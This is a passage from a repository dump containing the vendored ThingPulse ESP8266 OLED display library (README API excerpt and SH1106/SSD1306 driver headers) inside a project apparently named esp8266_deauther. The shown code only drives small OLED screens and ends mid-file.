*/\nvoid setTargetFPS(uint8_t fps);\n\n/**\n * Enable automatic transition to next frame after the some time can be configured with\n * `setTimePerFrame` and `setTimePerTransition`.\n */\nvoid enableAutoTransition();\n\n/**\n * Disable automatic transition to next frame.\n */\nvoid disableAutoTransition();\n\n/**\n * Set the direction if the automatic transitioning\n */\nvoid setAutoTransitionForwards();\nvoid setAutoTransitionBackwards();\n\n/**\n *  Set the approx. time a frame is displayed\n */\nvoid setTimePerFrame(uint16_t time);\n\n/**\n * Set the approx. time a transition will take\n */\nvoid setTimePerTransition(uint16_t time);\n\n/**\n * Draw the indicator.\n * This is the default state for all frames if\n * the indicator was hidden on the previous frame\n * it will be slided in.\n */\nvoid enableIndicator();\n\n/**\n * Don't draw the indicator.\n * This will slide out the indicator\n * when transitioning to the next frame.\n */\nvoid disableIndicator();\n\n/**\n * Enable drawing of all indicators.\n */\nvoid enableAllIndicators();\n\n/**\n * Disable drawing of all indicators.\n */\nvoid disableAllIndicators();\n\n/**\n * Set the position of the indicator bar.\n */\nvoid setIndicatorPosition(IndicatorPosition pos);\n\n/**\n * Set the direction of the indicator bar. Defining the order of frames ASCENDING / DESCENDING\n */\nvoid setIndicatorDirection(IndicatorDirection dir);\n\n/**\n * Set the symbol to indicate an active frame in the indicator bar.\n */\nvoid setActiveSymbol(const char* symbol);\n\n/**\n * Set the symbol to indicate an inactive frame in the indicator bar.\n */\nvoid setInactiveSymbol(const char* symbol);\n\n/**\n * Configure what animation is used to transition from one frame to another\n */\nvoid setFrameAnimation(AnimationDirection dir);\n\n/**\n * Add frame drawing functions\n */\nvoid setFrames(FrameCallback* frameFunctions, uint8_t frameCount);\n\n/**\n * Add overlays drawing functions that are draw independent of the Frames\n */\nvoid setOverlays(OverlayCallback* overlayFunctions, uint8_t overlayCount);\n\n/**\n * Set the function that will draw each step\n * in the loading animation\n */\nvoid setLoadingDrawFunction(LoadingDrawFunction loadingDrawFunction);\n\n/**\n * Run the loading process\n */\nvoid runLoadingProcess(LoadingStage* stages, uint8_t stagesCount);\n\n// Manuell Controll\nvoid nextFrame();\nvoid previousFrame();\n\n/**\n * Switch without transition to frame `frame`.\n */\nvoid switchToFrame(uint8_t frame);\n\n/**\n * Transition to frame `frame`, when the `frame` number is bigger than the current\n * frame the forward animation will be used, otherwise the backwards animation is used.\n */\nvoid transitionToFrame(uint8_t frame);\n\n// State Info\nOLEDDisplayUiState* getUiState();\n\n// This needs to be called in the main loop\n// the returned value is the remaining time (in ms)\n// you have to draw after drawing to keep the frame budget.\nint8_t update();\n```\n\n## Example: SSD1306Demo\n\n### Frame 1\n![DemoFrame1](https://github.com/squix78/esp8266-oled-ssd1306/raw/master/resources/DemoFrame1.jpg)\n\nThis frame shows three things:\n * How to draw an xbm image\n * How to draw a static text which is not moved by the frame transition\n * The active/inactive frame indicators\n\n### Frame 2\n![DemoFrame2](https://github.com/squix78/esp8266-oled-ssd1306/raw/master/resources/DemoFrame2.jpg)\n\nCurrently there are one fontface with three sizes included in the library: Arial 10, 16 and 24. Once the converter is published you will be able to convert any ttf font into the used format.\n\n### Frame 3\n\n![DemoFrame3](https://github.com/squix78/esp8266-oled-ssd1306/raw/master/resources/DemoFrame3.jpg)\n\nThis frame demonstrates the text alignment. The coordinates in the frame show relative to which position the texts have been rendered.\n\n### Frame 4\n\n![DemoFrame4](https://github.com/squix78/esp8266-oled-ssd1306/raw/master/resources/DemoFrame4.jpg)\n\nThis shows how to use define a maximum width after which the driver automatically wraps a word to the next line. This comes in very handy if you have longer texts to display.\n\n### SPI version\n\n![SPIVersion](https://github.com/neptune2/esp8266-oled-ssd1306/raw/master/resources/SPI_version.jpg)\n\nThis shows the code working on the SPI version of the display. See demo code for ESP8266 pins used.\n\n## Selection of projects using this library\n\n * [QRCode ESP8266](https://github.com/anunpanya/ESP8266_QRcode) (by @anunpanya)\n * [Scan I2C](https://github.com/hallard/Scan-I2C-WiFi) (by @hallard)\n * [ThingPulse Weather Station](https://github.com/ThingPulse/esp8266-weather-station)\n * Yours?\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SH1106_h\n#define SH1106_h\n#include \"SH1106Wire.h\"\n\n// For make SH1106 an alias for SH1106Wire\ntypedef SH1106Wire SH1106;\n\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SH1106Brzo_h\n#define SH1106Brzo_h\n\n#include \"OLEDDisplay.h\"\n#include <brzo_i2c.h>\n\n#if F_CPU == 160000000L\n  #define BRZO_I2C_SPEED 1000\n#else\n  #define BRZO_I2C_SPEED 800\n#endif\n\nclass SH1106Brzo : public OLEDDisplay {\n  private:\n      uint8_t             _address;\n      uint8_t             _sda;\n      uint8_t             _scl;\n\n  public:\n\tSH1106Brzo(uint8_t _address, uint8_t _sda, uint8_t _scl, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n\t\tsetGeometry(g);\n\n      this->_address = _address;\n      this->_sda = _sda;\n      this->_scl = _scl;\n    }\n\n    bool connect(){\n      brzo_i2c_setup(_sda, _scl, 0);\n      return true;\n    }\n\n    void display(void) {\n    #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n       uint8_t minBoundY = UINT8_MAX;\n       uint8_t maxBoundY = 0;\n\n       uint8_t minBoundX = UINT8_MAX;\n       uint8_t maxBoundX = 0;\n       uint8_t x, y;\n\n       // Calculate the Y bounding box of changes\n       // and copy buffer[pos] to buffer_back[pos];\n       for (y = 0; y < (displayHeight / 8); y++) {\n         for (x = 0; x < displayWidth; x++) {\n          uint16_t pos = x + y * displayWidth;\n          if (buffer[pos] != buffer_back[pos]) {\n            minBoundY = _min(minBoundY, y);\n            maxBoundY = _max(maxBoundY, y);\n            minBoundX = _min(minBoundX, x);\n            maxBoundX = _max(maxBoundX, x);\n          }\n          buffer_back[pos] = buffer[pos];\n        }\n        yield();\n       }\n\n       // If the minBoundY wasn't updated\n       // we can savely assume that buffer_back[pos] == buffer[pos]\n       // holdes true for all values of pos\n       if (minBoundY == UINT8_MAX) return;\n\n       byte k = 0;\n       uint8_t sendBuffer[17];\n       sendBuffer[0] = 0x40;\n\n       // Calculate the colum offset\n       uint8_t minBoundXp2H = (minBoundX + 2) & 0x0F;\n       uint8_t minBoundXp2L = 0x10 | ((minBoundX + 2) >> 4 );\n\n       brzo_i2c_start_transaction(this->_address, BRZO_I2C_SPEED);\n\n       for (y = minBoundY; y <= maxBoundY; y++) {\n         sendCommand(0xB0 + y);\n         sendCommand(minBoundXp2H);\n         sendCommand(minBoundXp2L);\n         for (x = minBoundX; x <= maxBoundX; x++) {\n             k++;\n             sendBuffer[k] = buffer[x + y * displayWidth];\n             if (k == 16)  {\n               brzo_i2c_write(sendBuffer, 17, true);\n               k = 0;\n             }\n         }\n         if (k != 0) {\n           brzo_i2c_write(sendBuffer, k + 1, true);\n           k = 0;\n         }\n         yield();\n       }\n       if (k != 0) {\n         brzo_i2c_write(sendBuffer, k + 1, true);\n       }\n       brzo_i2c_end_transaction();\n     #else\n     #endif\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t com) __attribute__((always_inline)){\n      uint8_t command[2] = {0x80 /* command mode */, com};\n      brzo_i2c_start_transaction(_address, BRZO_I2C_SPEED);\n      brzo_i2c_write(command, 2, true);\n      brzo_i2c_end_transaction();\n    }\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SH1106Spi_h\n#define SH1106Spi_h\n\n#include \"OLEDDisplay.h\"\n#include <SPI.h>\n\nclass SH1106Spi : public OLEDDisplay {\n  private:\n      uint8_t             _rst;\n      uint8_t             _dc;\n\n  public:\n    SH1106Spi(uint8_t _rst, uint8_t _dc, uint8_t _cs, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n        setGeometry(g);\n\n      this->_rst = _rst;\n      this->_dc  = _dc;\n    }\n\n    bool connect(){\n      pinMode(_dc, OUTPUT);\n      pinMode(_rst, OUTPUT);\n\n      SPI.begin ();\n      SPI.setClockDivider (SPI_CLOCK_DIV2);\n\n      // Pulse Reset low for 10ms\n      digitalWrite(_rst, HIGH);\n      delay(1);\n      digitalWrite(_rst, LOW);\n      delay(10);\n      digitalWrite(_rst, HIGH);\n      return true;\n    }\n\n    void display(void) {\n    #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n       uint8_t minBoundY = UINT8_MAX;\n       uint8_t maxBoundY = 0;\n\n       uint8_t minBoundX = UINT8_MAX;\n       uint8_t maxBoundX = 0;\n\n       uint8_t x, y;\n\n       // Calculate the Y bounding box of changes\n       // and copy buffer[pos] to buffer_back[pos];\n       for (y = 0; y < (displayHeight / 8); y++) {\n         for (x = 0; x < displayWidth; x++) {\n          uint16_t pos = x + y * displayWidth;\n          if (buffer[pos] != buffer_back[pos]) {\n            minBoundY = _min(minBoundY, y);\n            maxBoundY = _max(maxBoundY, y);\n            minBoundX = _min(minBoundX, x);\n            maxBoundX = _max(maxBoundX, x);\n          }\n          buffer_back[pos] = buffer[pos];\n        }\n        yield();\n       }\n\n       // If the minBoundY wasn't updated\n       // we can savely assume that buffer_back[pos] == buffer[pos]\n       // holdes true for all values of pos\n       if (minBoundY == UINT8_MAX) return;\n\n       // Calculate the colum offset\n       uint8_t minBoundXp2H = (minBoundX + 2) & 0x0F;\n       uint8_t minBoundXp2L = 0x10 | ((minBoundX + 2) >> 4 );\n\n       for (y = minBoundY; y <= maxBoundY; y++) {\n         sendCommand(0xB0 + y);\n         sendCommand(minBoundXp2H);\n         sendCommand(minBoundXp2L);\n         digitalWrite(_dc, HIGH);   // data mode\n         for (x = minBoundX; x <= maxBoundX; x++) {\n           SPI.transfer(buffer[x + y * displayWidth]);\n         }\n         yield();\n       }\n     #else\n      for (uint8_t y=0; y<displayHeight/8; y++) {\n        sendCommand(0xB0 + y);\n        sendCommand(0x02);\n        sendCommand(0x10);\n        digitalWrite(_dc, HIGH);   // data mode\n        for( uint8_t x=0; x < displayWidth; x++) {\n          SPI.transfer(buffer[x + y * displayWidth]);\n        }\n        yield();\n      }\n     #endif\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t com) __attribute__((always_inline)){\n      digitalWrite(_dc, LOW);\n      SPI.transfer(com);\n    }\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SH1106Wire_h\n#define SH1106Wire_h\n\n#include \"OLEDDisplay.h\"\n#include <Wire.h>\n\n#define SH1106_SET_PUMP_VOLTAGE 0X30\n#define SH1106_SET_PUMP_MODE 0XAD\n#define SH1106_PUMP_ON 0X8B\n#define SH1106_PUMP_OFF 0X8A\n//--------------------------------------\n\nclass SH1106Wire : public OLEDDisplay {\n  private:\n      uint8_t             _address;\n      uint8_t             _sda;\n      uint8_t             _scl;\n\n  public:\n    SH1106Wire(uint8_t _address, uint8_t _sda, uint8_t _scl, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n      setGeometry(g);\n\n      this->_address = _address;\n      this->_sda = _sda;\n      this->_scl = _scl;\n    }\n\n    bool connect() {\n      Wire.begin(this->_sda, this->_scl);\n      // Let's use ~700khz if ESP8266 is in 160Mhz mode\n      // this will be limited to ~400khz if the ESP8266 in 80Mhz mode.\n      Wire.setClock(700000);\n      return true;\n    }\n\n    void display(void) {\n      #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n        uint8_t minBoundY = UINT8_MAX;\n        uint8_t maxBoundY = 0;\n\n        uint8_t minBoundX = UINT8_MAX;\n        uint8_t maxBoundX = 0;\n\n        uint8_t x, y;\n\n        // Calculate the Y bounding box of changes\n        // and copy buffer[pos] to buffer_back[pos];\n        for (y = 0; y < (displayHeight / 8); y++) {\n          for (x = 0; x < displayWidth; x++) {\n           uint16_t pos = x + y * displayWidth;\n           if (buffer[pos] != buffer_back[pos]) {\n             minBoundY = _min(minBoundY, y);\n             maxBoundY = _max(maxBoundY, y);\n             minBoundX = _min(minBoundX, x);\n             maxBoundX = _max(maxBoundX, x);\n           }\n           buffer_back[pos] = buffer[pos];\n         }\n         yield();\n        }\n\n        // If the minBoundY wasn't updated\n        // we can savely assume that buffer_back[pos] == buffer[pos]\n        // holdes true for all values of pos\n        if (minBoundY == UINT8_MAX) return;\n\n        // Calculate the colum offset\n        uint8_t minBoundXp2H = (minBoundX + 2) & 0x0F;\n        uint8_t minBoundXp2L = 0x10 | ((minBoundX + 2) >> 4 );\n\n        byte k = 0;\n        for (y = minBoundY; y <= maxBoundY; y++) {\n          sendCommand(0xB0 + y);\n          sendCommand(minBoundXp2H);\n          sendCommand(minBoundXp2L);\n          for (x = minBoundX; x <= maxBoundX; x++) {\n            if (k == 0) {\n              Wire.beginTransmission(_address);\n              Wire.write(0x40);\n            }\n            Wire.write(buffer[x + y * displayWidth]);\n            k++;\n            if (k == 16)  {\n              Wire.endTransmission();\n              k = 0;\n            }\n          }\n          if (k != 0)  {\n            Wire.endTransmission();\n            k = 0;\n          }\n          yield();\n        }\n\n        if (k != 0) {\n          Wire.endTransmission();\n        }\n      #else\n        uint8_t * p = &buffer[0];\n        for (uint8_t y=0; y<8; y++) {\n          sendCommand(0xB0+y);\n          sendCommand(0x02);\n          sendCommand(0x10);\n          for( uint8_t x=0; x<8; x++) {\n            Wire.beginTransmission(_address);\n            Wire.write(0x40);\n            for (uint8_t k = 0; k < 16; k++) {\n              Wire.write(*p++);\n            }\n            Wire.endTransmission();\n          }\n        }\n      #endif\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t command) __attribute__((always_inline)){\n      Wire.beginTransmission(_address);\n      Wire.write(0x80);\n      Wire.write(command);\n      Wire.endTransmission();\n    }\n\n\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SSD1306_h\n#define SSD1306_h\n#include \"SSD1306Wire.h\"\n\n// For legacy support make SSD1306 an alias for SSD1306\ntypedef SSD1306Wire SSD1306;\n\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SSD1306Brzo_h\n#define SSD1306Brzo_h\n\n#include \"OLEDDisplay.h\"\n#include <brzo_i2c.h>\n\n#if F_CPU == 160000000L\n  #define BRZO_I2C_SPEED 1000\n#else\n  #define BRZO_I2C_SPEED 800\n#endif\n\nclass SSD1306Brzo : public OLEDDisplay {\n  private:\n      uint8_t             _address;\n      uint8_t             _sda;\n      uint8_t             _scl;\n\n  public:\n    SSD1306Brzo(uint8_t _address, uint8_t _sda, uint8_t _scl, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n      setGeometry(g);\n\n      this->_address = _address;\n      this->_sda = _sda;\n      this->_scl = _scl;\n    }\n\n    bool connect(){\n      brzo_i2c_setup(_sda, _scl, 0);\n      return true;\n    }\n\n    void display(void) {\n    #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n       uint8_t minBoundY = UINT8_MAX;\n       uint8_t maxBoundY = 0;\n\n       uint8_t minBoundX = UINT8_MAX;\n       uint8_t maxBoundX = 0;\n\n       uint8_t x, y;\n\n       // Calculate the Y bounding box of changes\n       // and copy buffer[pos] to buffer_back[pos];\n       for (y = 0; y < (displayHeight / 8); y++) {\n         for (x = 0; x < displayWidth; x++) {\n          uint16_t pos = x + y * displayWidth;\n          if (buffer[pos] != buffer_back[pos]) {\n            minBoundY = _min(minBoundY, y);\n            maxBoundY = _max(maxBoundY, y);\n            minBoundX = _min(minBoundX, x);\n            maxBoundX = _max(maxBoundX, x);\n          }\n          buffer_back[pos] = buffer[pos];\n        }\n        yield();\n       }\n\n       // If the minBoundY wasn't updated\n       // we can savely assume that buffer_back[pos] == buffer[pos]\n       // holdes true for all values of pos\n       if (minBoundY == UINT8_MAX) return;\n\n       sendCommand(COLUMNADDR);\n       sendCommand(minBoundX);\n       sendCommand(maxBoundX);\n\n       sendCommand(PAGEADDR);\n       sendCommand(minBoundY);\n       sendCommand(maxBoundY);\n\n       byte k = 0;\n       uint8_t sendBuffer[17];\n       sendBuffer[0] = 0x40;\n       brzo_i2c_start_transaction(this->_address, BRZO_I2C_SPEED);\n       for (y = minBoundY; y <= maxBoundY; y++) {\n           for (x = minBoundX; x <= maxBoundX; x++) {\n               k++;\n               sendBuffer[k] = buffer[x + y * displayWidth];\n               if (k == 16)  {\n                 brzo_i2c_write(sendBuffer, 17, true);\n                 k = 0;\n               }\n           }\n           yield();\n       }\n       brzo_i2c_write(sendBuffer, k + 1, true);\n       brzo_i2c_end_transaction();\n     #else\n       // No double buffering\n       sendCommand(COLUMNADDR);\n       sendCommand(0x0);\n       sendCommand(0x7F);\n\n       sendCommand(PAGEADDR);\n       sendCommand(0x0);\n\n       if (geometry == GEOMETRY_128_64) {\n         sendCommand(0x7);\n       } else if (geometry == GEOMETRY_128_32) {\n         sendCommand(0x3);\n       }\n\n       uint8_t sendBuffer[17];\n       sendBuffer[0] = 0x40;\n       brzo_i2c_start_transaction(this->_address, BRZO_I2C_SPEED);\n       for (uint16_t i=0; i<displayBufferSize; i++) {\n         for (uint8_t x=1; x<17; x++) {\n           sendBuffer[x] = buffer[i];\n           i++;\n         }\n         i--;\n         brzo_i2c_write(sendBuffer,  17,  true);\n         yield();\n       }\n       brzo_i2c_end_transaction();\n     #endif\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t com) __attribute__((always_inline)){\n      uint8_t command[2] = {0x80 /* command mode */, com};\n      brzo_i2c_start_transaction(_address, BRZO_I2C_SPEED);\n      brzo_i2c_write(command, 2, true);\n      brzo_i2c_end_transaction();\n    }\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SSD1306I2C_h\n#define SSD1306I2C_h\n\n\n#ifdef __MBED__\n\n#include \"OLEDDisplay.h\"\n#include <mbed.h>\n\n#ifndef UINT8_MAX\n #define UINT8_MAX 0xff\n#endif\n\nclass SSD1306I2C : public OLEDDisplay {\npublic:\n    SSD1306I2C(uint8_t _address, PinName _sda, PinName _scl, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n      setGeometry(g);\n\n      this->_address = _address << 1;  // convert from 7 to 8 bit for mbed.\n      this->_sda = _sda;\n      this->_scl = _scl;\n\t  _i2c = new I2C(_sda, _scl);\n    }\n\n    bool connect() {\n\t\t// mbed supports 100k and 400k some device maybe 1000k\n#ifdef TARGET_STM32L4\n\t  _i2c->frequency(1000000);\n#else\n\t  _i2c->frequency(400000);\n#endif\n      return true;\n    }\n\n    void display(void) {\n      const int x_offset = (128 - this->width()) / 2;\n#ifdef OLEDDISPLAY_DOUBLE_BUFFER\n        uint8_t minBoundY = UINT8_MAX;\n        uint8_t maxBoundY = 0;\n\n        uint8_t minBoundX = UINT8_MAX;\n        uint8_t maxBoundX = 0;\n        uint8_t x, y;\n\n        // Calculate the Y bounding box of changes\n        // and copy buffer[pos] to buffer_back[pos];\n        for (y = 0; y < (this->height() / 8); y++) {\n          for (x = 0; x < this->width(); x++) {\n           uint16_t pos = x + y * this->width();\n           if (buffer[pos] != buffer_back[pos]) {\n             minBoundY = std::min(minBoundY, y);\n             maxBoundY = std::max(maxBoundY, y);\n             minBoundX = std::min(minBoundX, x);\n             maxBoundX = std::max(maxBoundX, x);\n           }\n           buffer_back[pos] = buffer[pos];\n         }\n         yield();\n        }\n\n        // If the minBoundY wasn't updated\n        // we can savely assume that buffer_back[pos] == buffer[pos]\n        // holdes true for all values of pos\n\n        if (minBoundY == UINT8_MAX) return;\n\n        sendCommand(COLUMNADDR);\n        sendCommand(x_offset + minBoundX);\t// column start address (0 = reset)\n        sendCommand(x_offset + maxBoundX);\t// column end address (127 = reset)\n\n        sendCommand(PAGEADDR);\n        sendCommand(minBoundY);\t\t\t\t// page start address\n        sendCommand(maxBoundY);\t\t\t\t// page end address\n\n        for (y = minBoundY; y <= 